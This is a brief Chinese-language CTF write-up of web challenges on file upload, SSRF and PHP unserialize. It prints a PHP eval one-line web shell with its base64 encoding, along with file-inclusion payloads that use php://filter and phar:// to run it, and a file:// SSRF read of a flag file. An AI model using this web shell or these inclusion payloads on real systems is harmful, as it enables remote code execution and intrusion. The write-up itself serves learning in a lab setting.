uploud
第一次做文件上传这类题,大概知道了这类题是怎么做的。
这道题有两种方法:
一,base64加密解密绕过:
1,把一句话木马base64加密
<?php @eval($_POST['pass']); ?>
PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOyA/Pg== //base64加密后。
2,将base64加密后的密文保存到 ok.txt 里。
3,上传
4,连接蚁剑
payload:
index.php?file=php://filter/read=convert.base64-decode/resource=uploads/ok.txt
5,在根目录下找到flag。
二,加密绕过:
1,将一句话木马写入 ok.txt 中
2,将 OK.txt 加密为 OK.zip 压缩文件。
3,上传该文件
4,链接蚁剑。
payload:
index.php?file=phar://uploads/ok.zip/ok.php
这里要用到 phar:// 协议,记录一下,以后可能要用到。
ssrf
1,进去以后是这样的:
2,查看源代码。
3,用 file协议得到flag
index.php?url=file:///flag.txt
web_ser
1,打开是这样的:
2,分析源码可得满足if语句的条件就可以得到flag,这里的关键是unserialize()函数。